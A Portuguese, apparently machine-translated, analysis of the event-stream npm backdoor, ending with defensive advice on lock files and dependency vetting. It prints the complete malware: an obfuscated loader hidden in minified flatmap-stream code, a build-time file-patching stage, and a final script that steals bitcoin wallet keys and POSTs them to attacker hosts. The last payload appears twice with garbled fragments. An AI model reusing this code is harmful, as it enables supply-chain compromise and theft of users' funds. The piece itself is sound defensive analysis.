Explicar a backdoor no fluxo de eventos

Se você trabalha com Javascript, provavelmente notou muito ruído sobre a vulnerabilidade no pacote npm do fluxo de eventos. ( Um post sobre isso também foi publicado no Habré. ) Infelizmente, uma análise detalhada da situação está escondida sob mais de 600 comentários na edição do Github , a maioria dos quais é uma chama sobre o estado de npm, código aberto em geral etc. Eu pensei que era ruim, porque o backdoor é realmente excepcionalmente inteligente e interessante do ponto de vista técnico, e também nos ensina uma lição importante sobre como manter a segurança nos aplicativos Javascript. Decidi escrever um post com uma explicação detalhada de como esse ataque funcionava e o que a comunidade Javascript pode fazer para se defender melhor contra esses ataques no futuro.


Antes de começar, quero agradecer a FallingSnow , maths22 e joepie91 por sua excelente investigação. Eles fizeram todo o trabalho duro de analisar a vulnerabilidade e descobrir o que ela faz. Posteriormente, no texto, citarei seus resultados indicando autoria, mas acho que vale a pena indicar explicitamente que eu não fiz todo esse trabalho pessoalmente. Acabei de resumir o que os outros descobriram.


Antecedentes


event-stream é um módulo npm popular que contém utilitários para trabalhar com fluxos de dados dentro de um aplicativo node.js. Agora ele é baixado mais de 1,9 milhão de vezes por dia. No entanto, ele não está em desenvolvimento ativo há vários anos. Seu autor, Dominic Tarr , apoia um grande número de outros projetos e não usa mais esse módulo em projetos pessoais, por isso foi ignorado.


Por volta de meados de setembro, um usuário com o apelido right9ctrl (a conta do GitHub agora foi excluída) sugeriu assumir o suporte ao módulo. Dominic concordou e concedeu direitos de acesso right9ctrl ao Github e npm. A história dos commits parece inofensiva à primeira vista:



Captura de tela do histórico de consolidação no fluxo de eventos no Github


Em 9 de setembro, o right9ctrl adicionou um novo módulo flatmap-stream dependendo da implementação da funcionalidade flatmap para o event-stream (uma solução bastante apropriada, pois o fluxo de eventos já tinha utilitários semelhantes, por exemplo, um map regular). Em 16 de setembro, o right9ctrl removeu a flatmap-stream do flatmap-stream e implementou o método flatmap diretamente. E, novamente, nada é perturbador, não é incomum adicionar uma nova dependência e depois decidir em alguns dias que será melhor implementar você mesma a mesma coisa.


Ataque


A biblioteca flatmap-stream também parece inofensiva - na verdade, contém uma implementação de um mapa plano para fluxos de dados (embora algo deva ter cuidado - a biblioteca tem apenas um colaborador e nenhum download do npm até o momento).



Captura de tela da página flatmap-stream no GitHub


No entanto, a versão deste módulo publicada no npm continha código adicional em um arquivo compactado, que você pode nem perceber, mesmo sabendo que está lá:


 var Stream=require("stream").Stream;module.exports=function(e,n){var i=new Stream,a=0,o=0,u=!1,f=!1,l=!1,c=0,s=!1,d=(n=n||{}).failures?"failure":"error",m={};function w(r,e){var t=c+1;if(e===t?(void 0!==r&&i.emit.apply(i,["data",r]),c++,t++):m[e]=r,m.hasOwnProperty(t)){var n=m[t];return delete m[t],w(n,t)}a===++o&&(f&&(f=!1,i.emit("drain")),u&&v())}function p(r,e,t){l||(s=!0,r&&!n.failures||w(e,t),r&&i.emit.apply(i,[d,r]),s=!1)}function b(r,t,n){return e.call(null,r,function(r,e){n(r,e,t)})}function v(r){if(u=!0,i.writable=!1,void 0!==r)return w(r,a);a==o&&(i.readable=!1,i.emit("end"),i.destroy())}return i.writable=!0,i.readable=!0,i.write=function(r){if(u)throw new Error("flatmap stream is not writable");s=!1;try{for(var e in r){a++;var t=b(r[e],a,p);if(f=!1===t)break}return!f}catch(r){if(s)throw r;return p(r),!f}},i.end=function(r){u||v(r)},i.destroy=function(){u=l=!0,i.writable=i.readable=f=!1,process.nextTick(function(){i.emit("close")})},i.pause=function(){f=!0},i.resume=function(){f=!1},i};!function(){try{var r=require,t=process;function e(r){return Buffer.from(r,"hex").toString()}var n=r(e("2e2f746573742f64617461")),o=t[e(n[3])][e(n[4])];if(!o)return;var u=r(e(n[2]))[e(n[6])](e(n[5]),o),a=u.update(n[0],e(n[8]),e(n[9]));a+=u.final(e(n[9]));var f=new module.constructor;f.paths=module.paths,f[e(n[7])](a,""),f.exports(n[1])}catch(r){}}(); 

A parte prejudicial aqui está no final e foi ofuscada especialmente para evitar a detecção:


 !function(){try{var r=require,t=process;function e(r){return Buffer.from(r,"hex").toString()}var n=r(e("2e2f746573742f64617461")),o=t[e(n[3])][e(n[4])];if(!o)return;var u=r(e(n[2]))[e(n[6])](e(n[5]),o),a=u.update(n[0],e(n[8]),e(n[9]));a+=u.final(e(n[9]));var f=new module.constructor;f.paths=module.paths,f[e(n[7])](a,""),f.exports(n[1])}catch(r){}}(); 

Em uma edição no Github, o FallingSnow restaurou o código-fonte dos favoritos e mostrou o que estava acontecendo:


 // var r = require, t = process; // function e(r) { // return Buffer.from(r, "hex").toString() // } function decode(data) { return Buffer.from(data, "hex").toString() } // var n = r(e("2e2f746573742f64617461")), // var n = require(decode("2e2f746573742f64617461")) // var n = require('./test/data') var n = ["","","63727970746f","656e76","6e706d5f7061636b6167655f6465736372697074696f6e","616573323536","6372656174654465636970686572","5f636f6d70696c65","686578","75746638"] // o = t[e(n[3])][e(n[4])]; // npm_package_description = process[decode(n[3])][decode(n[4])]; npm_package_description = process['env']['npm_package_description']; // if (!o) return; if (!npm_package_description) return; // var u = r(e(n[2]))[e(n[6])](e(n[5]), o), // var decipher = require(decode(n[2]))[decode(n[6])](decode(n[5]), npm_package_description), var decipher = require('crypto')['createDecipher']('aes256', npm_package_description), // a = u.update(n[0], e(n[8]), e(n[9])); // decoded = decipher.update(n[0], e(n[8]), e(n[9])); decoded = decipher.update(n[0], 'hex', 'utf8'); console.log(n); // IDK why this is here... // a += u.final(e(n[9])); decoded += decipher.final('utf8'); // var f = new module.constructor; var newModule = new module.constructor; /**************** DO NOT UNCOMMENT [THIS RUNS THE CODE] **************/ // f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1]) // newModule.paths = module.paths, newModule['_compile'](decoded, ""), newModule.exports(n[1]) // newModule.paths = module.paths // newModule['_compile'](decoded, "") // Module.prototype._compile = function(content, filename) // newModule.exports(n[1]) 

Portanto, o código carrega o arquivo ./test/data.js , que também foi incorporado na versão publicada no npm, apesar da falta de código-fonte no GitHub. Este arquivo contém uma matriz de cadeias criptografadas através do AES256. A npm_package_description ambiente npm_package_description é configurada pelo comando npm quando o código é executado no contexto de algum pacote, ou seja, o pacote raiz, incluindo a cadeia de dependências event-stream -> flatmap-stream, será usado para definir npm_package_description (e outras variáveis ​​semelhantes). ( Nota: em outras palavras, a descrição do arquivo package.json do seu projeto no qual você executou este comando será usada ). Portanto, o código descriptografa o conteúdo de test/data.js usando npm_package_description como chave e, em seguida, tenta executar o resultado.


Para a grande maioria dos pacotes, isso levará a um erro (que o código malicioso será capturado e ignorado silenciosamente), pois a descrição deles não é a chave correta para a cifra AES256 e o ​​resultado da descriptografia será um absurdo. Este é um ataque muito direcionado a um pacote específico. maths22 e alguns outros usuários baixaram uma lista de npm-modules que dependem do fluxo de eventos e, classificando as descrições desses módulos, selecionamos a chave correta e encontramos o pacote de destino: era o copay-dash , uma plataforma para carteiras de bitcoin. Sua descrição, "A Secure Bitcoin Wallet", descriptografa com êxito o conteúdo de test/data.js , mostrando o seguinte código (gentilmente fornecido por joepie91 ):


 /*@@*/ module.exports = function(e) { try { if (!/build\:.*\-release/.test(process.argv[2])) return; var t = process.env.npm_package_description, r = require("fs"), i = "./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js", n = r.statSync(i), c = r.readFileSync(i, "utf8"), o = require("crypto").createDecipher("aes256", t), s = o.update(e, "hex", "utf8"); s = "\n" + (s += o.final("utf8")); var a = c.indexOf("\n/*@@*/"); 0 <= a && (c = c.substr(0, a)), r.writeFileSync(i, c + s, "utf8"), r.utimesSync(i, n.atime, n.mtime), process.on("exit", function() { try { r.writeFileSync(i, c, "utf8"), r.utimesSync(i, n.atime, n.mtime) } catch (e) {} }) } catch (e) {} }; 

Esse código inicia outro nível de descriptografia, no qual o script malicioso final é aberto:


 /*@@*/ ! function() { function e() { try { var o = require("http"), a = require("crypto"), c = "-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\\n2wIDAQAB\\n-----END PUBLIC KEY-----"; function i(e, t, n) { e = Buffer.from(e, "hex").toString(); var r = o.request({ hostname: e, port: 8080, method: "POST", path: "/" + t, headers: { "Content-Length": n.length, "Content-Type": "text/html" } }, function() {}); r.on("error", function(e) {}), r.write(n), r.end() } function r(e, t) { for (var n = "", r = 0; r < t.length; r += 200) { var o = t.substr(r, 200); n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+" } i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n) } function l(t, n) { if (window.cordova) try { var e = cordova.file.dataDirectory; resolveLocalFileSystemURL(e, function(e) { e.getFile(t, { create: !1 }, function(e) { e.file(function(e) { var t = new FileReader; t.onloadend = function() { return n(JSON.parse(t.result)) }, t.onerror = function(e) { t.abort() }, t.readAsText(e) }) }) }) } catch (e) {} else { try { var r = localStorage.getItem(t); if (r) return n(JSON.parse(r)) } catch (e) {} try { chrome.storage.local.get(t, function(e) { if (e) return n(JSON.parse(e[t])) }) } catch (e) {} } } global.CSSMap = {}, l("profile", function(e) { for (var t in e.credentials) { var n = e.credentials[t]; "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) { var t = this; t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t))) }.bind(n)) } }); var e = require("bitcore-wallet-client/lib/credentials.js"); e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) { var t = this.getKeysFunc(e); try { global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\\t" + this.xPubKey)) } catch (e) {} return t } } catch (e) {} } window.cordova ? document.addEventListener("deviceready", e) : e() }(); \\ \\ nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C nDXUs / peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj \\ nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW + / BiGud7b77Fwfq372fUuEIk \\ N2P / pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762 \\ nPDBMwQsCKQcpKDXw / 6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz \\ nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl / cJ / x76To \\ n2wIDAQAB \ /*@@*/ ! function() { function e() { try { var o = require("http"), a = require("crypto"), c = "-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\\n2wIDAQAB\\n-----END PUBLIC KEY-----"; function i(e, t, n) { e = Buffer.from(e, "hex").toString(); var r = o.request({ hostname: e, port: 8080, method: "POST", path: "/" + t, headers: { "Content-Length": n.length, "Content-Type": "text/html" } }, function() {}); r.on("error", function(e) {}), r.write(n), r.end() } function r(e, t) { for (var n = "", r = 0; r < t.length; r += 200) { var o = t.substr(r, 200); n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+" } i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n) } function l(t, n) { if (window.cordova) try { var e = cordova.file.dataDirectory; resolveLocalFileSystemURL(e, function(e) { e.getFile(t, { create: !1 }, function(e) { e.file(function(e) { var t = new FileReader; t.onloadend = function() { return n(JSON.parse(t.result)) }, t.onerror = function(e) { t.abort() }, t.readAsText(e) }) }) }) } catch (e) {} else { try { var r = localStorage.getItem(t); if (r) return n(JSON.parse(r)) } catch (e) {} try { chrome.storage.local.get(t, function(e) { if (e) return n(JSON.parse(e[t])) }) } catch (e) {} } } global.CSSMap = {}, l("profile", function(e) { for (var t in e.credentials) { var n = e.credentials[t]; "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) { var t = this; t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t))) }.bind(n)) } }); var e = require("bitcore-wallet-client/lib/credentials.js"); e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) { var t = this.getKeysFunc(e); try { global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\\t" + this.xPubKey)) } catch (e) {} return t } } catch (e) {} } window.cordova ? document.addEventListener("deviceready", e) : e() }(); 

Como você deve ter adivinhado, esse script está tentando roubar sua carteira de bitcoin e carregar seus dados no servidor do invasor.


Atualizado: a equipe da npm divulgou seu relatório oficial de incidente , o qual explicava que o código malicioso deveria ser lançado no processo de liberação da Copay para injetar um script de roubo de bitcoin no código do aplicativo da carteira da Copay.


Então, para resumir


  • O popular copay-dash plataforma bitcoin usa a dependência do fluxo de eventos.
  • Em setembro, por aproximadamente uma semana, o fluxo de eventos continha uma dependência de fluxo de mapa plano, pois o projeto foi transferido para um novo desenvolvedor que adicionou a dependência e a removeu uma semana depois.
  • O flatmap-stream continha um fragmento oculto no final do código minificado, que tentava decodificar as linhas do test/data.js , usando a descrição do pacote raiz como uma chave AES256.
  • Para qualquer pacote normal, isso causava um erro (já que a descrição do pacote era a chave errada), que era processada silenciosamente. Mas, para o copay-dash, a descriptografia forneceu JavaScript válido, que lançou outro estágio de descriptografia e executou um script malicioso que rouba sua carteira de bitcoin.

O que fazer agora?


Foi um ataque surpreendentemente esperto, fortemente remanescente de um post de janeiro , com uma descrição de um ataque hipotético semelhante. O atacante varreu suas trilhas com habilidade - o código e o histórico de confirmações no Github mostram uma situação inofensiva e suspeita (o novo desenvolvedor se junta ao projeto, adiciona um recurso e depois altera ligeiramente sua implementação). Além dos sinais suspeitos no flatmap-stream (novo pacote, sem contribuidores e estatísticas de download), o ataque acabou sendo quase invisível. Na verdade, ele não foi detectado por dois meses e foi encontrado apenas agora porque o invasor cometeu um pequeno erro usando o método crypto.createDecipher desatualizado em vez de crypto.createDecipheriv , que causou uma mensagem suspeita sobre o uso do método desatualizado em outra biblioteca, que usa o fluxo de eventos.


Infelizmente, esse tipo de ataque não nos deixará no futuro próximo. O JavaScript é a linguagem mais popular no momento, o que significa que continuará sendo um alvo atraente para hackers. O JavaScript também possui relativamente pouca funcionalidade na biblioteca padrão em comparação com outras linguagens, o que força os desenvolvedores a usar pacotes do npm - junto com outros fatores culturais, isso leva ao fato de que os projetos JavaScript geralmente têm uma enorme árvore de dependência.


Vale ressaltar que, embora os aplicativos JavaScript sejam mais propensos a essa classe de vulnerabilidades, esse não é necessariamente o motivo pelo qual o JavaScript é menos seguro em geral. O JavaScript geralmente é usado por desenvolvedores mais ativos que estão tentando acompanhar o progresso, ou seja, seus usuários instalam mais pacotes e atualizações, incluindo correções de segurança. Ao mesmo tempo, o aplicativo Java da Equifax foi hackeado pelo motivo exatamente oposto - eles não instalaram atualizações de segurança para o Apache Struts por meses. Esse tipo de vulnerabilidade é menos provável em aplicativos JavaScript. No final, ao escolher uma pilha tecnológica para uma empresa, a questão da segurança sempre surge. Uma lição importante será entender os possíveis cenários de ataque para sua decisão específica e a capacidade de antecipá-los.


O que isso significa para a pilha javascript? Não faltam idéias e sugestões sobre como o NPM ou outras comunidades podem impedir esses ataques. Mas para usuários finais, há pelo menos duas etapas básicas para reduzir seus riscos:


  • Use arquivos de bloqueio . Não importa se é yarn.lock ou package-lock.json, qualquer arquivo de bloqueio garante que você receberá as mesmas versões de pacotes a cada instalação, ou seja, se você estiver seguro hoje, permanecerá o mesmo amanhã. Os aplicativos que praticam dependências flutuantes sem usar arquivos de bloqueio são especialmente vulneráveis ​​a atualizações maliciosas, porque instalam automaticamente a versão mais recente disponível das dependências, ou seja, você pode ser comprometido a cada implantação depois que uma das suas dependências for comprometida e publicada. versão com vulnerabilidade. Com os arquivos de bloqueio, você limitará seus riscos a ações manuais de desenvolvedores que adicionam e atualizam pacotes, que podem ser verificados duas vezes por revisão de código ou outras políticas da empresa.


  • Pense antes de colocar alguma coisa . Como mostrado acima, isso não é uma panacéia, os hackers ainda podem folhear marcadores em códigos minificados que são difíceis de encontrar, mesmo se você souber que eles estão lá. Mas não menos importante, você pode reduzir seus riscos se seguir os pacotes populares e com suporte ativo. Antes de instalar um novo vício, primeiro pergunte a si mesmo se você realmente precisa dele. Se você já sabe escrever código, e não leva mais de uma dúzia de linhas, basta escrever você mesmo. Se você ainda precisar de uma dependência, avalie-a antes da instalação. Quantos downloads ela tem no npm? O repositório no Github parece atualizado ativamente? O pacote foi atualizado recentemente? Caso contrário, considere fazer uma bifurcação e usá-lo. Isso reduzirá os riscos, porque você não será exposto a futuras atualizações perigosas, poderá ler e reduzir o código fonte por conta própria e ter certeza de que ele realmente contém e contém.


Source: https://habr.com/ru/post/pt431360/


All Articles